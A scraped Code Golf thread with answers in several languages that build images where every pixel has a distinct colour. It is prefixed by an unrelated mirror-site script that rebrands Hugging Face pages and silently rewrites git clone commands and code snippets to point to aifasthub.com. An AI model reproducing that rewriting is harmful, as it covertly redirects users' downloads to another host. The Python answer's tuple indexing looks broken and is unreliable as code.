{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \n\n```\nAnd the JavaScript for randoGraph.js\n```\nwindow.onload=function(){\n randoGraphInstance = new randoGraph(\"randoGraphCanvas\",256,128,1,1);\n randoGraphInstance.setRandomness(500, 0.30, 0.11, 0.59);\n randoGraphInstance.setProccesses(10);\n randoGraphInstance.init(); \n}\nfunction randoGraph(canvasId,width,height,delay,startings)\n{\n this.pixels = new Array();\n this.colors = new Array(); \n this.timeouts = new Array(); \n this.randomFactor = 500;\n this.redFactor = 0.30;\n this.blueFactor = 0.11;\n this.greenFactor = 0.59;\n this.processes = 1;\n this.canvas = document.getElementById(canvasId); \n this.pixelsIn = new Array(); \n this.stopped = false;\n this.canvas.width = width;\n this.canvas.height = height;\n this.context = this.canvas.getContext(\"2d\");\n this.context.clearRect(0,0, width-1 , height-1);\n this.shadesPerColor = Math.pow(width * height, 1/3);\n this.shadesPerColor = Math.round(this.shadesPerColor * 1000) / 1000;\n this.setRandomness = function(randomFactor,redFactor,blueFactor,greenFactor)\n {\n this.randomFactor = randomFactor;\n this.redFactor = redFactor;\n this.blueFactor = blueFactor;\n this.greenFactor = greenFactor;\n }\n this.setProccesses = function(processes)\n {\n this.processes = processes;\n }\n this.init = function()\n {\n if(this.shadesPerColor > 256 || this.shadesPerColor % 1 > 0) \n { \n alert(\"The dimensions of the image requested to generate are invalid. The product of width multiplied by height must be a cube root of a integer number up to 256.\"); \n }\n else \n {\n var steps = 256 / this.shadesPerColor;\n for(red = steps / 2; red <= 255;)\n {\n for(blue = steps / 2; blue <= 255;)\n {\n for(green = steps / 2; green <= 255;)\n { \n this.colors.push(new Color(Math.round(red),Math.round(blue),Math.round(green)));\n green = green + steps;\n }\n blue = blue + steps; \n }\n red = red + steps; \n } \n for(var i = 0; i < startings; i++)\n {\n var color = this.colors.splice(randInt(0,this.colors.length - 1),1)[0];\n var pixel = new Pixel(randInt(0,width - 1),randInt(0,height - 1),color);\n this.addPixel(pixel); \n }\n for(var i = 0; i < this.processes; i++)\n {\n this.timeouts.push(null);\n this.proceed(i);\n }\n }\n }\n this.proceed = function(index) \n { \n if(this.pixels.length > 0)\n {\n this.proceedPixel(this.pixels.splice(randInt(0,this.pixels.length - 1),1)[0]);\n this.timeouts[index] = setTimeout(function(that){ if(!that.stopped) { that.proceed(); } },this.delay,this);\n }\n }\n this.proceedPixel = function(pixel)\n {\n for(var nx = pixel.getX() - 1; nx < pixel.getX() + 2; nx++)\n {\n for(var ny = pixel.getY() - 1; ny < pixel.getY() + 2; ny++)\n {\n if(! (this.pixelsIn[nx + \"x\" + ny] == 1 || ny < 0 || nx < 0 || nx > width - 1 || ny > height - 1 || (nx == pixel.getX() && ny == pixel.getY())) )\n {\n var color = this.selectRelevantColor(pixel.getColor());\n var newPixel = new Pixel(nx,ny,color);\n this.addPixel(newPixel);\n }\n }\n } \n }\n this.selectRelevantColor = function(color)\n {\n var relevancies = new Array(); \n var relColors = new Array(); \n for(var i = 0; i < this.randomFactor && i < this.colors.length; i++)\n {\n var index = randInt(0,this.colors.length - 1);\n var c = this.colors[index];\n var relevancy = Math.pow( ((c.getRed()-color.getRed()) * this.redFactor) , 2)\n + Math.pow( ((c.getBlue()-color.getBlue()) * this.blueFactor), 2)\n + Math.pow( ((c.getGreen()-color.getGreen()) * this.greenFactor) , 2);\n relevancies.push(relevancy); \n relColors[relevancy+\"Color\"] = index;\n }\n return this.colors.splice(relColors[relevancies.min()+\"Color\"],1)[0]\n }\n this.addPixel = function(pixel)\n {\n this.pixels.push(pixel);\n this.pixelsIn[pixel.getX() + \"x\" + pixel.getY() ] = 1;\n var color = pixel.getColor();\n this.context.fillStyle = \"rgb(\"+color.getRed()+\",\"+color.getBlue()+\",\"+color.getGreen()+\")\";\n this.context.fillRect( pixel.getX(), pixel.getY(), 1, 1); \n }\n var toHex = function toHex(num) \n {\n num = Math.round(num);\n var hex = num.toString(16);\n return hex.length == 1 ? \"0\" + hex : hex;\n }\n this.clear = function()\n {\n this.stopped = true;\n }\n}\nfunction Color(red,blue,green)\n{ \n this.getRed = function() { return red; } \n this.getBlue = function() { return blue; } \n this.getGreen = function() { return green; } \n}\nfunction Pixel(x,y,color)\n{ \n this.getX = function() { return x; } \n this.getY = function() { return y; } \n this.getColor = function() { return color; } \n}\nfunction randInt(min, max) \n{\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}\n// @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min\nArray.prototype.min = function() \n{\n return Math.min.apply(null, this);\n};\n// @see http://stackoverflow.com/questions/5223/length-of-javascript-object-ie-associative-array\nObject.size = function(obj) \n{\n var size = 0, key;\n for (key in obj) {\n if (obj.hasOwnProperty(key)) size++;\n }\n return size;\n};\n```\n[Answer]\n## Python\nSo here's my solution in python, it takes almost an hour to make one, so there's probably some optimization to be done:\n```\nimport PIL.Image as Image\nfrom random import shuffle\nimport math\ndef mulColor(color, factor):\n return (int(color[0]*factor), int(color[1]*factor), int(color[2]*factor))\ndef makeAllColors(arg):\n colors = []\n for r in range(0, arg):\n for g in range(0, arg):\n for b in range(0, arg):\n colors.append((r, g, b))\n return colors\ndef distance(color1, color2):\n return math.sqrt(pow(color2[0]-color1[0], 2) + pow(color2[1]-color1[1], 2) + pow(color2[2]-color1[2], 2))\ndef getClosestColor(to, colors):\n closestColor = colors[0]\n d = distance(to, closestColor)\n for color in colors:\n if distance(to, color) < d:\n closestColor = color\n d = distance(to, closestColor)\n return closestColor\nimgsize = (256, 128)\n#imgsize = (10, 10)\ncolors = makeAllColors(32)\nshuffle(colors)\nfactor = 255.0/32.0\nimg = Image.new(\"RGB\", imgsize, \"white\")\n#start = (imgsize[0]/4, imgsize[1]/4)\nstart = (imgsize[0]/2, 0)\nstartColor = colors.pop()\nimg.putpixel(start, mulColor(startColor, factor))\n#color = getClosestColor(startColor, colors)\n#img.putpixel((start[0]+1, start[1]), mulColor(color, factor))\nedgePixels = [(start, startColor)]\ndonePositions = [start]\nfor pixel in edgePixels:\n if len(colors) > 0:\n color = getClosestColor(pixel[1], colors)\n m = [(pixel[0][0]-1, pixel[0][1]), (pixel[0][0]+1, pixel[0][2]), (pixel[0][0], pixel[0][3]-1), (pixel[0][0], pixel[0][4]+1)]\n if len(donePositions) >= imgsize[0]*imgsize[1]:\n #if len(donePositions) >= 100:\n break\n for pos in m:\n if (not pos in donePositions):\n if not (pos[0]<0 or pos[1]<0 or pos[0]>=img.size[0] or pos[1]>=img.size[1]):\n img.putpixel(pos, mulColor(color, factor))\n #print(color)\n donePositions.append(pos)\n edgePixels.append((pos, color))\n colors.remove(color)\n if len(colors) > 0:\n color = getClosestColor(pixel[1], colors)\n print((len(donePositions) * 1.0) / (imgsize[0]*imgsize[1]))\nprint len(donePositions)\nimg.save(\"colors.png\")\n```\nHere are some example outputs:\n![enter image description here](https://i.stack.imgur.com/qdR8N.png) ![enter image description here](https://i.stack.imgur.com/oZfIc.png) ![enter image description here](https://i.stack.imgur.com/7jgYG.png) ![enter image description here](https://i.stack.imgur.com/QEFUr.png) ![enter image description here](https://i.stack.imgur.com/DBZdx.png)\n[Answer]\n## Mathematica\n```\ncolors = Table[\nr = y*256 + x; {BitAnd[r, 2^^111110000000000]/32768., \nBitAnd[r, 2^^1111100000]/1024., BitAnd[r, 2^^11111]/32.}, {y, 0, \n127}, {x, 0, 255}];\nSeedRandom[1337];\nmaxi = 5000000;\nMonitor[For[i = 0, i < maxi, i++,\nx1 = RandomInteger[{2, 255}];\nx2 = RandomInteger[{2, 255}];\ny1 = RandomInteger[{2, 127}];\ny2 = RandomInteger[{2, 127}];\nc1 = colors[[y1, x1]];\nc2 = colors[[y2, x2]];\nca1 = (colors[[y1 - 1, x1]] + colors[[y1, x1 - 1]] + \n colors[[y1 + 1, x1]] + colors[[y1, x1 + 1]])/4.;\nca2 = (colors[[y2 - 1, x2]] + colors[[y2, x2 - 1]] + \n colors[[y2 + 1, x2]] + colors[[y2, x2 + 1]])/4.;\nd1 = Abs[c1[[1]] - ca1[[1]]] + Abs[c1[[2]] - ca1[[2]]] + \nAbs[c1[[3]] - ca1[[3]]];\nd1p = Abs[c2[[1]] - ca1[[1]]] + Abs[c2[[2]] - ca1[[2]]] + \nAbs[c2[[3]] - ca1[[3]]];\nd2 = Abs[c2[[1]] - ca2[[1]]] + Abs[c2[[2]] - ca2[[2]]] + \nAbs[c2[[3]] - ca2[[3]]];\nd2p = Abs[c1[[1]] - ca2[[1]]] + Abs[c1[[2]] - ca2[[2]]] + \nAbs[c1[[3]] - ca2[[3]]];\nIf[(d1p + d2p < \n d1 + d2) || (RandomReal[{0, 1}] < \n Exp[-Log10[i]*(d1p + d2p - (d1 + d2))] && i < 1000000),\ntemp = colors[[y1, x1]];\ncolors[[y1, x1]] = colors[[y2, x2]];\ncolors[[y2, x2]] = temp\n]\n], ProgressIndicator[i, {1, maxi}]]\nImage[colors]\n```\nResult (2x):\n![256x128 2x](https://i.stack.imgur.com/S0tzc.png)\n[Original 256x128 image](http://postimg.org/image/7heb6dai5/ \"Original 256x128 image\")\n**Edit:**\nby replacing Log10[i] with Log10[i]/5 you get:\n![enter image description here](https://i.stack.imgur.com/ZOAh3.png)\nThe above code is related to simulated annealing. Seen in this way, the second image is created with a higher \"temperature\" in the first 10^6 steps. The higher \"temperature\" causes more permutations among the pixels, whereas in the first image the structure of the ordered image is still slightly visible.\n[Answer]\n## JavaScript\nStill a student and my first time posting so my codes probably messy and I'm not 100% sure that my pictures have all the needed colors but I was super happy with my results so I figured I'd post them. \nI know the contest is over but I really loved the results of these and I always loved the look of recursive backtracking generated mazes so I thought it might be cool to see what one would look like if it placed colored pixels. So I start by generating all the colors in an array then I do the recursive backtracking while popping colors off the array.\nHere's my JSFiddle \n```\n// Global variables\nconst FPS = 60;// FrameRate\nvar canvas = null;\nvar ctx = null;\nvar bInstantDraw = false;\nvar MOVES_PER_UPDATE = 50; //How many pixels get placed down\nvar bDone = false;\nvar width; //canvas width\nvar height; //canvas height\nvar colorSteps = 32;\nvar imageData;\nvar grid;\nvar colors;\nvar currentPos;\nvar prevPositions;\n// This is called when the page loads\nfunction Init()\n{\n canvas = document.getElementById('canvas'); // Get the HTML element with the ID of 'canvas'\n width = canvas.width;\n height = canvas.height;\n ctx = canvas.getContext('2d'); // This is necessary, but I don't know exactly what it does\n imageData = ctx.createImageData(width,height); //Needed to do pixel manipulation\n grid = []; //Grid for the labyrinth algorithm\n colors = []; //Array of all colors\n prevPositions = []; //Array of previous positions, used for the recursive backtracker algorithm\n for(var r = 0; r < colorSteps; r++)\n {\n for(var g = 0; g < colorSteps; g++)\n {\n for(var b = 0; b < colorSteps; b++)\n {\n colors.push(new Color(r * 255 / (colorSteps - 1), g * 255 / (colorSteps - 1), b * 255 / (colorSteps - 1)));\n //Fill the array with all colors\n }\n }\n }\n colors.sort(function(a,b)\n {\n if (a.r < b.r)\n return -1;\n if (a.r > b.r)\n return 1;\n if (a.g < b.g)\n return -1;\n if (a.g > b.g)\n return 1;\n if (a.b < b.b)\n return -1;\n if (a.b > b.b)\n return 1;\n return 0;\n });\n for(var x = 0; x < width; x++)\n {\n grid.push(new Array());\n for(var y = 0; y < height; y++)\n {\n grid[x].push(0); //Set up the grid\n //ChangePixel(imageData, x, y, colors[x + (y * width)]);\n }\n }\n currentPos = new Point(Math.floor(Math.random() * width),Math.floor(Math.random() * height)); \n grid[currentPos.x][currentPos.y] = 1;\n prevPositions.push(currentPos);\n ChangePixel(imageData, currentPos.x, currentPos.y, colors.pop());\n if(bInstantDraw)\n {\n do\n {\n var notMoved = true;\n while(notMoved)\n {\n var availableSpaces = CheckForSpaces(grid);\n if(availableSpaces.length > 0)\n {\n var test = availableSpaces[Math.floor(Math.random() * availableSpaces.length)];\n prevPositions.push(currentPos);\n currentPos = test;\n grid[currentPos.x][currentPos.y] = 1;\n ChangePixel(imageData, currentPos.x, currentPos.y, colors.pop());\n notMoved = false;\n }\n else\n {\n if(prevPositions.length != 0)\n {\n currentPos = prevPositions.pop();\n }\n else\n {\n break;\n }\n }\n }\n }\n while(prevPositions.length > 0)\n ctx.putImageData(imageData,0,0);\n }\n else\n {\n setInterval(GameLoop, 1000 / FPS);\n }\n}\n// Main program loop\nfunction GameLoop()\n{\n Update();\n Draw();\n}\n// Game logic goes here\nfunction Update()\n{\n if(!bDone)\n {\n var counter = MOVES_PER_UPDATE;\n while(counter > 0) //For speeding up the drawing\n {\n var notMoved = true;\n while(notMoved)\n {\n var availableSpaces = CheckForSpaces(grid); //Find available spaces\n if(availableSpaces.length > 0) //If there are available spaces\n {\n prevPositions.push(currentPos); //add old position to prevPosition array\n currentPos = availableSpaces[Math.floor(Math.random() * availableSpaces.length)]; //pick a random available space\n grid[currentPos.x][currentPos.y] = 1; //set that space to filled\n ChangePixel(imageData, currentPos.x, currentPos.y, colors.pop()); //pop color of the array and put it in that space\n notMoved = false;\n }\n else\n {\n if(prevPositions.length != 0)\n {\n currentPos = prevPositions.pop(); //pop to previous position where spaces are available\n }\n else\n {\n bDone = true;\n break;\n }\n }\n }\n counter--;\n }\n }\n}\nfunction Draw()\n{\n // Clear the screen\n ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);\n ctx.fillStyle='#000000';\n ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);\n ctx.putImageData(imageData,0,0);\n}\nfunction CheckForSpaces(inGrid) //Checks for available spaces then returns back all available spaces\n{\n var availableSpaces = [];\n if(currentPos.x > 0 && inGrid[currentPos.x - 1][currentPos.y] == 0)\n {\n availableSpaces.push(new Point(currentPos.x - 1, currentPos.y));\n }\n if(currentPos.x < width - 1 && inGrid[currentPos.x + 1][currentPos.y] == 0)\n {\n availableSpaces.push(new Point(currentPos.x + 1, currentPos.y));\n }\n if(currentPos.y > 0 && inGrid[currentPos.x][currentPos.y - 1] == 0)\n {\n availableSpaces.push(new Point(currentPos.x, currentPos.y - 1));\n }\n if(currentPos.y < height - 1 && inGrid[currentPos.x][currentPos.y + 1] == 0)\n {\n availableSpaces.push(new Point(currentPos.x, currentPos.y + 1));\n }\n return availableSpaces;\n}\nfunction ChangePixel(data, x, y, color) //Quick function to simplify changing pixels\n{\n data.data[((x + (y * width)) * 4) + 0] = color.r;\n data.data[((x + (y * width)) * 4) + 1] = color.g;\n data.data[((x + (y * width)) * 4) + 2] = color.b;\n data.data[((x + (y * width)) * 4) + 3] = 255;\n}\n/*Needed Classes*/\nfunction Point(xIn, yIn)\n{\n this.x = xIn;\n this.y = yIn;\n}\nfunction Color(r, g, b)\n{\n this.r = r;\n this.g = g;\n this.b = b;\n this.hue = Math.atan2(Math.sqrt(3) * (this.g - this.b), 2 * this.r - this.g, this.b);\n this.min = Math.min(this.r, this.g);\n this.min = Math.min(this.min, this.b);\n this.min /= 255;\n this.max = Math.max(this.r, this.g);\n this.max = Math.max(this.max, this.b);\n this.max /= 255;\n this.luminance = (this.min + this.max) / 2;\n if(this.min === this.max)\n {\n this.saturation = 0;\n }\n else if(this.luminance < 0.5)\n {\n this.saturation = (this.max - this.min) / (this.max + this.min);\n }\n else if(this.luminance >= 0.5)\n {\n this.saturation = (this.max - this.min) / (2 - this.max - this.min);\n }\n}\n```\n256x128 picture, colors sorted red->green->blue \n![RGB Sorted Colors](https://i.stack.imgur.com/31ccy.png)\n256x128 picture, colors sorted blue->green->red \n![BGR Sorted Colors](https://i.stack.imgur.com/z71Wx.png)\n256x128 picture, colors sorted hue->luminance->saturation \n![HLS Sorted Colors](https://i.stack.imgur.com/DWNch.png)\nAnd finally a GIF of one being generated \n![Color Labyrinth GIF](https://i.stack.imgur.com/4Ehhy.gif)\n[Answer]\n# Java\nI decided to have a try at this challenge. I was inspired by [this answer](https://codegolf.stackexchange.com/a/19382/30544) to another code golf. My program generates uglier images, but they have all colors.\nAlso, my first time code golfing. :)\n(4k images were too big for my small upload speed, I tried uploading one but after one hour it hasn't uploaded. You can generate your own.)\n![](https://puu.sh/aNZMS/9d0cfbf571.png)\nCloseup:\n![](https://puu.sh/aNZYm/465d3cb352.png)\nGenerates an image in 70 seconds on my machine, takes about 1.5GB of memory when generating\n### Main.java\n```\nimport java.awt.Color;\nimport java.awt.Graphics2D;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Arrays;\nimport java.util.Comparator;\nimport java.util.Random;\nimport javax.imageio.ImageIO;\npublic class Main {\n static char[][] colors = new char[4096 * 4096][3];\n static short[][] pixels = new short[4096 * 4096][2];\n static short[][] iterMap = new short[4096][4096]; \n public static int mandel(double re0, double im0, int MAX_ITERS) {\n double re = re0;\n double im = im0;\n double _r;\n double _i;\n double re2;\n double im2;\n for (int iters = 0; iters < MAX_ITERS; iters++) {\n re2 = re * re;\n im2 = im * im;\n if (re2 + im2 > 4.0) {\n return iters;\n }\n _r = re;\n _i = im;\n _r = re2 - im2;\n _i = 2 * (re * im);\n _r += re0;\n _i += im0;\n re = _r;\n im = _i;\n }\n return MAX_ITERS;\n }\n static void shuffleArray(Object[] ar) {\n Random rnd = new Random();\n for (int i = ar.length - 1; i > 0; i--) {\n int index = rnd.nextInt(i + 1);\n // Simple swap\n Object a = ar[index];\n ar[index] = ar[i];\n ar[i] = a;\n }\n }\n public static void main(String[] args) {\n long startTime = System.nanoTime();\n System.out.println(\"Generating colors...\");\n for (int i = 0; i < 4096 * 4096; i++) {\n colors[i][0] = (char)((i >> 16) & 0xFF); // Red\n colors[i][1] = (char)((i >> 8) & 0xFF); // Green\n colors[i][2] = (char)(i & 0xFF); // Blue\n }\n System.out.println(\"Sorting colors...\");\n //shuffleArray(colors); // Not needed\n Arrays.sort(colors, new Comparator() {\n @Override\n public int compare(char[] a, char[] b) {\n return (a[0] + a[1] + a[2]) - (b[0] + b[1] + b[2]);\n }\n });\n System.out.println(\"Generating fractal...\");\n for (int y = -2048; y < 2048; y++) {\n for (int x = -2048; x < 2048; x++) {\n short iters = (short) mandel(x / 1024.0, y / 1024.0, 1024);\n iterMap[x + 2048][y + 2048] = iters;\n }\n }\n System.out.println(\"Organizing pixels in the image...\");\n for (short x = 0; x < 4096; x++) {\n for (short y = 0; y < 4096; y++) {\n pixels[x * 4096 + y][0] = x;\n pixels[x * 4096 + y][1] = y;\n }\n }\n shuffleArray(pixels);\n Arrays.sort(pixels, new Comparator() {\n @Override\n public int compare(short[] a, short[] b) {\n return iterMap[b[0]][b[1]] - iterMap[a[0]][a[1]];\n }\n });\n System.out.println(\"Writing image to BufferedImage...\");\n BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB);\n Graphics2D g = img.createGraphics();\n for (int i = 0; i < 4096 * 4096; i++) {\n g.setColor(new Color(colors[i][0], colors[i][1], colors[i][2]));\n g.fillRect(pixels[i][0], pixels[i][1], 1, 1);\n }\n g.dispose();\n System.out.println(\"Writing image to file...\");\n File imageFile = new File(\"image.png\");\n try {\n ImageIO.write(img, \"png\", imageFile);\n } catch (IOException e) {\n // TODO Auto-generated catch block\n e.printStackTrace();\n }\n System.out.println(\"Done!\");\n System.out.println(\"Took \" + ((System.nanoTime() - startTime) / 1000000000.) + \" seconds.\");\n System.out.println();\n System.out.println(\"The result is saved in \" + imageFile.getAbsolutePath());\n }\n}\n```\n[Answer]\n# C#\nSo I started working on this just as a fun exercise and ended up with an output that at least to me looks pretty neat. The key difference in my solution to (at least) most others is that I'm generating exactly the number of colors needed to start with and evenly spacing the generation out from pure white to pure black.\nI'm also setting colors working in an inward spiral and choosing the next color based on the average of the color diff between all neighbors that have been set.\nHere is a small sample output that I've produced so far, I'm working on a 4k render but I expect it to take upwards of a day to finish.\nHere is a sample of the spec output at 256x128:\n[![Spec Render](https://i.stack.imgur.com/AJnSA.png)](https://i.stack.imgur.com/AJnSA.png)\nSome larger images with still reasonable render times:\n[![Render at 360 x 240](https://i.stack.imgur.com/ke9nw.png)](https://i.stack.imgur.com/ke9nw.png)\nSecond run at 360 x 240 produced a much smoother image\n[![Render #2 at 360 x 240](https://i.stack.imgur.com/8ALHF.png)](https://i.stack.imgur.com/8ALHF.png)\nAfter improving performance I was able to run a HD render which took 2 days, I haven't given up on a 4k yet but it could take weeks.\n[HD Render](https://github.com/MadillJ/InterstingCodeCollection/blob/master/AllColors/GeneratedImages/1920x1080.png)\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.IO;\nusing System.Linq;\nnamespace SandBox\n{\n class Program\n {\n private static readonly List directions = new List\n {\n new Point(1, 0),\n new Point(0, 1),\n new Point(-1, 0),\n new Point(0, -1)\n };\n static void Main(string[] args)\n {\n if (args.Length != 2)\n {\n HelpFile();\n return;\n }\n try\n {\n var config = new ColorGeneratorConfig\n {\n XLength = int.Parse(args[0]),\n YLength = int.Parse(args[1])\n };\n Console.WriteLine(\"Starting image generation with:\");\n Console.WriteLine($\"\\tDimensions:\\t\\t{config.XLength} X {config.YLength}\");\n Console.WriteLine($\"\\tSteps Per Channel:\\t{config.NumOfSteps}\");\n Console.WriteLine($\"\\tStep Size:\\t\\t{config.ColorStep}\");\n Console.WriteLine($\"\\tSteps to Skip:\\t\\t{config.StepsToSkip}\\n\");\n var runner = new TaskRunner();\n var colors = runner.Run(() => GenerateColorList(config), \"color selection\");\n var pixels = runner.Run(() => BuildPixelArray(colors, config), \"pixel array generation\");\n runner.Run(() => OutputBitmap(pixels, config), \"bitmap creation\");\n }\n catch (Exception ex)\n {\n HelpFile(\"There was an issue in execution\");\n }\n \n Console.ReadLine();\n }\n private static void HelpFile(string errorMessage = \"\")\n {\n const string Header = \"Generates an image with every pixel having a unique color\";\n Console.WriteLine(errorMessage == string.Empty ? Header : $\"An error has occured: {errorMessage}\\n Ensure the Arguments you have provided are valid\");\n Console.WriteLine();\n Console.WriteLine($\"{AppDomain.CurrentDomain.FriendlyName} X Y\");\n Console.WriteLine();\n Console.WriteLine(\"X\\t\\tThe Length of the X dimension eg: 256\");\n Console.WriteLine(\"Y\\t\\tThe Length of the Y dimension eg: 128\");\n }\n public static List GenerateColorList(ColorGeneratorConfig config)\n {\n //Every iteration of our color generation loop will add the iterationfactor to this accumlator which is used to know when to skip\n decimal iterationAccumulator = 0;\n var colors = new List();\n for (var r = 0; r < config.NumOfSteps; r++)\n for (var g = 0; g < config.NumOfSteps; g++)\n for (var b = 0; b < config.NumOfSteps; b++)\n {\n iterationAccumulator += config.IterationFactor;\n //If our accumulator has reached 1, then subtract one and skip this iteration\n if (iterationAccumulator > 1)\n {\n iterationAccumulator -= 1;\n continue;\n }\n colors.Add(Color.FromArgb(r*config.ColorStep, g*config.ColorStep,b*config.ColorStep));\n }\n return colors;\n }\n public static Color?[,] BuildPixelArray(List colors, ColorGeneratorConfig config)\n {\n //Get a random color to start with.\n var random = new 